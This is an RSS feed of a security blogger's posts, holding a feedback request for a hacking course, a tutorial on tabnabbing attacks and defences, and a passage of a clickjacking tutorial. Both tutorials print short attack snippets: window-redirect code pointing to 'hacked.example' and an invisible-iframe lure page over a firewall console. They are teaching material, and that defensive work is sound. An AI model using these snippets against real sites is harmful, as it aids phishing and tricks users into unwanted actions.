<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Teo Selenius</title>
    <description>The latest articles on Forem by Teo Selenius (@appsecmonkey).</description>
    <link>https://forem.com/appsecmonkey</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F580357%2Fd4dc5c50-e9a0-40eb-b489-33affdae901b.jpg</url>
      <title>Forem: Teo Selenius</title>
      <link>https://forem.com/appsecmonkey</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/appsecmonkey"/>
    <language>en</language>
    <item>
      <title>Hacking Academy - Help me out!</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Tue, 25 May 2021 11:07:58 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/hacking-academy-help-me-out-35pm</link>
      <guid>https://forem.com/appsecmonkey/hacking-academy-help-me-out-35pm</guid>
      <description>&lt;p&gt;Hey guys,&lt;/p&gt;

&lt;p&gt;I'm building an online e-learning platform for hackers (you can see some screenshots/videos &lt;a href="https://mailchi.mp/05ead1118c6b/hacking-academy"&gt;here&lt;/a&gt;), and two of the demographics I'm trying to reach are: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Experienced developers who already know how to create backend or full-stack applications but don't necessarily know about all of the security hazards or how to exploit them as an attacker.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Beginner developers who know what a variable or a function is but don't yet understand how the HTTP protocol or browsers or web applications in general really work.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because it's difficult to really put oneself in someone else's shoes, I humbly ask for your help. If you belong to either of the two demographics, and are interested in the topic, what would be most important to you in an e-learning platform that aims to teach about hacking and defending against the attacks?&lt;/p&gt;

&lt;p&gt;Feel free to suggest specific content, features, or anything at all. The page I linked above should give a pretty good overview of the current idea that I have about what it could look like.&lt;/p&gt;

&lt;p&gt;Thanks in advance! And sorry I know this is a bit of a plug but there is no better place to ask (:&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>programming</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Tabnabbing Attacks and Prevention</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Tue, 06 Apr 2021 17:00:43 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/tabnabbing-attacks-and-prevention-n4p</link>
      <guid>https://forem.com/appsecmonkey/tabnabbing-attacks-and-prevention-n4p</guid>
      <description>&lt;h2&gt;
  
  
  What are tabnabbing attacks?
&lt;/h2&gt;

&lt;p&gt;Tabnabbing attacks enable a malicious website to suddenly redirect a legitimate page to the attacker's page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--RVwd3TCf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eirlght6zvyw6qrkp6at.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--RVwd3TCf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eirlght6zvyw6qrkp6at.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;They can be an effective tool in phishing attacks, so let's see how you as a developer can safeguard your users against the attack.&lt;/p&gt;

&lt;p&gt;Let's first look at the different forms of tabnabbing and then we'll discuss the defenses. You will get to play with interactive demos throughout this article, or just watch them in animated GIFs if that's your preference.&lt;/p&gt;

&lt;p&gt;The original article can be found &lt;a href="https://www.appsecmonkey.com/blog/tabnabbing"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  A hole in the Same Origin Policy
&lt;/h2&gt;

&lt;p&gt;Before we proceed, I should say two words about the same-origin policy.&lt;/p&gt;

&lt;p&gt;For the sake of this article, it is enough for you to know that the same-origin policy is the browser security mechanism that isolates different websites from each other.&lt;/p&gt;

&lt;p&gt;It ensures that, e.g., google.com cannot read your Facebook feed, even though you have Google and Facebook open in the same browser.&lt;/p&gt;

&lt;p&gt;And while the same-origin policy restricts many things, it has many "holes" because websites do need to interact with each other to some extent.&lt;/p&gt;

&lt;p&gt;And the hole that we are most interested in right now is the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;If websites A and B are from different origins&lt;/li&gt;
&lt;li&gt;And website A manages to get a window handle to website B&lt;/li&gt;
&lt;li&gt;Then website A is allowed to redirect website B's window to any URL address at any given time&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This hole is the reason tabnabbing attacks exist, as you'll soon see.&lt;/p&gt;

&lt;p&gt;If you want to learn more about the same-origin policy, we have an in-depth article right &lt;a href="https://appsecmonkey.com/blog/same-origin-policy"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do tabnabbing attacks work?
&lt;/h2&gt;

&lt;p&gt;There are a couple of ways in which a malicious website could get the window handle to your website. These are the most common.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Tabnabbing by the malicious page opening a window
&lt;/h3&gt;

&lt;p&gt;Perhaps the easiest and most reliable way for another website to get a window handle to your website's window is for the malicious website to open it via &lt;code&gt;window.open&lt;/code&gt; like so.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;windowHandle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://goodsite.example&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;// sleep for some time, and suddenly...&lt;/span&gt;
&lt;span class="nx"&gt;windowHandle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://hacked.example&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--RVwd3TCf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eirlght6zvyw6qrkp6at.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--RVwd3TCf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eirlght6zvyw6qrkp6at.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Reverse tabnabbing by the good site opening a window
&lt;/h3&gt;

&lt;p&gt;Another possibility is the other way around, that is, your website opens the malicious website via &lt;code&gt;window.open&lt;/code&gt; like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.example&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The malicious website can then get a window handle to your website via the &lt;code&gt;window.opener&lt;/code&gt; property like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;opener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://hacked.example&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Reverse tabnabbing via links
&lt;/h3&gt;

&lt;p&gt;The second reverse tabnabbing variant is if you link to a malicious/compromised website with a &lt;code&gt;target="_blank"&lt;/code&gt; so that the website will open in a new tab/window. In this case, the linked website can refer to the previous window via &lt;code&gt;window.opener&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;opener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://hacked.example&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--SZRooJQN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lzor1qt97ytsekj6rov8.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--SZRooJQN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lzor1qt97ytsekj6rov8.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Reverse tabnabbing via frames
&lt;/h3&gt;

&lt;p&gt;The third reverse tabnabbing method is if your website loads another website in an &lt;code&gt;IFRAME&lt;/code&gt;. For example, advertisements can work this way. In this case, the malicious website in the frame can get a window handle to the parent window using the &lt;code&gt;window.parent&lt;/code&gt; property like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://hacked.example&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mTtGIkQ6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/14wlr2n3z4t3cs4d1mti.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mTtGIkQ6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/14wlr2n3z4t3cs4d1mti.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Try it!
&lt;/h3&gt;

&lt;p&gt;Play around with the attacker's page &lt;a href="https://uw55c.csb.app/"&gt;here&lt;/a&gt; and the "good page" &lt;a href="https://igqf9.sse.codesandbox.io/"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I should mention that depending on your browser and configuration, the attacks might not work. We'll get to why at the end of this article. Just don't be surprised if that happens to you now.&lt;/p&gt;

&lt;p&gt;It's also worth noting that if the CodeSandbox instances were hibernated, you might want to refresh the pages after waking up the applications to ensure that everything works as expected.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to prevent tabnabbing attacks?
&lt;/h2&gt;

&lt;p&gt;Preventing tabnabbing attacks is relatively straightforward.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Implement a cross-origin opener policy&lt;/li&gt;
&lt;li&gt;Set the rel="noopener" attribute to your links&lt;/li&gt;
&lt;li&gt;Sandbox your frames&lt;/li&gt;
&lt;li&gt;Implement an isolation policy&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Implement a cross-origin opener policy
&lt;/h3&gt;

&lt;p&gt;There is a relatively new browser security feature called &lt;code&gt;Cross-Origin Opener Policy&lt;/code&gt;. You can use COOP to prevent the attack where a malicious website calls &lt;code&gt;window.open&lt;/code&gt; on your website and then sneakily redirects the user into the attacker's page.&lt;/p&gt;

&lt;p&gt;Just return the following HTTP response header from your webserver. The browsers that support COOP will process-isolate your document, and potential attackers can't access your window anymore.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Cross-Origin-Opener-Policy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;same-origin&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8SCRdsdG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/892p6pm7if21qeglv3u9.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8SCRdsdG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/892p6pm7if21qeglv3u9.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Additionally, windows that &lt;em&gt;your website&lt;/em&gt; opens via &lt;code&gt;window.open()&lt;/code&gt; will not be able to attack you anymore.&lt;/p&gt;

&lt;p&gt;The cross-origin opener policy feature is (at the time of this writing) already supported by Firefox, Chrome, and Edge, but not by Safari or IE. You can check the up-to-date status &lt;a href="https://appsecmonkey.com/browser-support/cross-origin-opener-policy"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Read more about COOP &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Set the rel="noopener" attribute to your links
&lt;/h3&gt;

&lt;p&gt;You can link to other websites in new windows as long as you include the &lt;code&gt;rel="noopener"&lt;/code&gt; attribute in the &lt;code&gt;a&lt;/code&gt;-tag. Like so.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"https://www.example.com"&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"noopener noreferrer"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I added the &lt;code&gt;noreferrer&lt;/code&gt; as a bonus because it's a good practice to add even though it's not related to tabnabbing attacks. The &lt;code&gt;noreferrer&lt;/code&gt; will prevent information from the browser user's URL from leaking to the other website in the &lt;code&gt;Referrer&lt;/code&gt;-header. You can read more about that &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;noopener&lt;/code&gt; attribute is the crucial part here. It tells browsers not to give the link target a handle to your website's window by setting the &lt;code&gt;window.opener&lt;/code&gt; to &lt;code&gt;null&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2qQ1ADVd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yr26x6xxniycoasltt75.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2qQ1ADVd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yr26x6xxniycoasltt75.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can read more about the &lt;code&gt;noopener&lt;/code&gt; attribute &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sandbox your frames
&lt;/h3&gt;

&lt;p&gt;To prevent tabnabbing attacks from websites that you load in an iframe, all you need to do is &lt;em&gt;sandbox&lt;/em&gt; the frame. Sandboxing is facilitated with the &lt;code&gt;sandbox&lt;/code&gt; attribute like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;sandbox=&lt;/span&gt;&lt;span class="s"&gt;"allow-scripts allow-same-origin"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://www.example.com"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--M78jdVQG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wyo7f0i5jfry86ouc89w.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--M78jdVQG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wyo7f0i5jfry86ouc89w.gif" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By default, the &lt;code&gt;sandbox&lt;/code&gt; attribute limits many things. Most importantly, it &lt;strong&gt;prevents the content from navigating its top-level browsing context&lt;/strong&gt;, that is, it stops the framed website from redirecting its parent.&lt;/p&gt;

&lt;p&gt;However, it also blocks things like having an origin at all or executing scripts. In the example above, we granted those two so that the frame can operate as expected.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implement an isolation policy with fetch metadata
&lt;/h3&gt;

&lt;p&gt;Another relatively recent browser security feature is &lt;em&gt;fetch metadata&lt;/em&gt;. It allows you to block HTTP requests on the server-side if they originate from unwanted websites or happen in suspicious contexts.&lt;/p&gt;

&lt;p&gt;Isolation policies are an insanely effective security control against a multitude of cross-site/cross-window attacks. While it's &lt;a href="https://appsecmonkey.com/browser-support/fetch-metadata"&gt;not yet supported&lt;/a&gt; by Firefox or Safari, you can implement such a policy in a fully backward compatible manner and reap the benefits on the browsers that do support it.&lt;/p&gt;

&lt;p&gt;I won't go into too much detail about isolation policies in this article. You can read a thorough treatment about them in &lt;a href="https://appsecmonkey.com/blog/fetch-metadata"&gt;this article&lt;/a&gt; which also features a complete example that you can run on CodeSandbox.&lt;/p&gt;

&lt;h3&gt;
  
  
  Try it!
&lt;/h3&gt;

&lt;p&gt;Play around with the attacker's page &lt;a href="https://uw55c.csb.app/"&gt;here&lt;/a&gt; and the COOP-protected test page &lt;a href="https://3xwfj.sse.codesandbox.io/"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Browsers try to fight tabnabbing
&lt;/h2&gt;

&lt;p&gt;Modern browsers try to implement heuristics and better defaults to combat tabnabbing attacks.&lt;/p&gt;

&lt;p&gt;For example, most browsers these days treat links that have &lt;code&gt;target="_blank"&lt;/code&gt; as &lt;code&gt;rel="noopener"&lt;/code&gt; by default unless you explicitly specify something else.&lt;/p&gt;

&lt;p&gt;On Firefox the feature is enabled as long as you have &lt;code&gt;dom.targetBlankNoOpener.enabled&lt;/code&gt; enabled in &lt;a&gt;about:config&lt;/a&gt;. Read about it &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1522083"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Chrome also has the same feature which you can read about &lt;a href="https://www.chromestatus.com/feature/6140064063029248"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Ditto for &lt;a href="https://webkit.org/blog/8475/release-notes-for-safari-technology-preview-68/"&gt;Safari&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Also, browsers might prevent redirections or popups that appear suspicious or ask the user if they want to allow them.&lt;/p&gt;

&lt;p&gt;However, you can't rely on the browser to keep your web application safe. Most of the attacks are not prevented out-of-the-box.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Tabnabbing attacks can be a severe threat, especially when used as part of a targeted phishing attack. Luckily there are simple steps that you can take to protect your web application from them:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Implement a cross-origin opener policy&lt;/li&gt;
&lt;li&gt;Add the &lt;code&gt;rel="noopener"&lt;/code&gt; attribute to the links on your website.&lt;/li&gt;
&lt;li&gt;Add the &lt;code&gt;sandbox&lt;/code&gt; attribute to iframes on your website.&lt;/li&gt;
&lt;li&gt;Implement an isolation policy with fetch metadata.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Additionally, browsers are getting smarter in preventing tabnabbing attacks. Still, they're not quite there yet, so you as the developer will have to take care of implementing these security controls to protect your users.&lt;/p&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--elZVxGdx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>programming</category>
    </item>
    <item>
      <title>Clickjacking Attacks and Prevention</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Thu, 01 Apr 2021 09:16:56 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/clickjacking-attacks-and-prevention-133n</link>
      <guid>https://forem.com/appsecmonkey/clickjacking-attacks-and-prevention-133n</guid>
      <description>&lt;p&gt;In this article, you will learn about clickjacking attacks, how they work, how they can put your website users at risk, and how you can prevent it. You can read the original article &lt;a href="https://www.appsecmonkey.com/blog/clickjacking" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Clickjacking?
&lt;/h2&gt;

&lt;p&gt;Clickjacking attacks trick a website user to perform unwanted actions on a website unwittingly. It works by layering the target website in an invisible frame on a malicious website. When the user thinks they are clicking a button on the attacker's page, in reality, they click something on a completely different website.&lt;/p&gt;

&lt;h2&gt;
  
  
  An example
&lt;/h2&gt;

&lt;p&gt;Let's say we have a firewall administrator who is logged in at &lt;code&gt;https://firewall.example&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq3ft4amml1btjpzm86wy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq3ft4amml1btjpzm86wy.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What an attacker could do, is create a page like this. It tricks the user into clicking a button. In reality, the user would be disabling the firewall because the firewall management page is layered on top of the button in an iframe.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0wbcxi110ynyvnby0s2p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0wbcxi110ynyvnby0s2p.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Of course, in a real attack, we wouldn't have any opacity so that the page would look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbr1id0o658jsv3pv8x7w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbr1id0o658jsv3pv8x7w.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The code of &lt;code&gt;https://evil.example&lt;/code&gt; could look (in a very simplified form) like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"underlay"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;WANT A MILLION DOLLARS?&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;button&amp;gt;&lt;/span&gt;CLICK ME&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"invisible-overlay"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://firewall.example"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  A live demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://tw1go.sse.codesandbox.io/" rel="noopener noreferrer"&gt;Here&lt;/a&gt; is a little web application. You can try it out right now. Click the button to enable and disable the firewall, but leave it turned on so that we can turn it back off with a clickjacking attack in a minute.&lt;/p&gt;

